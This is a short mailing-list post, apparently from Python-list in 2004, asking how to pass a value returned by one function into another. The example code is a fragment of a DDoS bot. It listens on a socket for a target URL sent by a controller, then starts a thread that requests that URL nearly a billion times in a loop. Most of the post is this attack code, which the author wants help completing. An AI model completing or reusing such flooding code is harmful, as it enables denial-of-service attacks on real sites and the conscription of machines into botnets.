passing what a function returns to another function

Bart Nessux bart_nessux at hotmail.com
Sat Feb 7 19:06:00 EST 2004


I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

def receive_targets_url():
   # This recievies the DDOS target's URL
   I = socket(AF_INET, SOCK_STREAM)
   I.bind((DDOS_ZOMBIE_IP, U_PORT))
   I.listen(5)
   conn, addr  = I.accept()
   DDOS_TARGET = conn.recv(1024)
   conn.close()
   return DDOS_TARGET

def receive_commands():
   class threaded_ddos(Thread):
      def run(self):
         for x in xrange(999999999):
            f = urlopen(DDOS_TARGET)



More information about the Python-list mailing list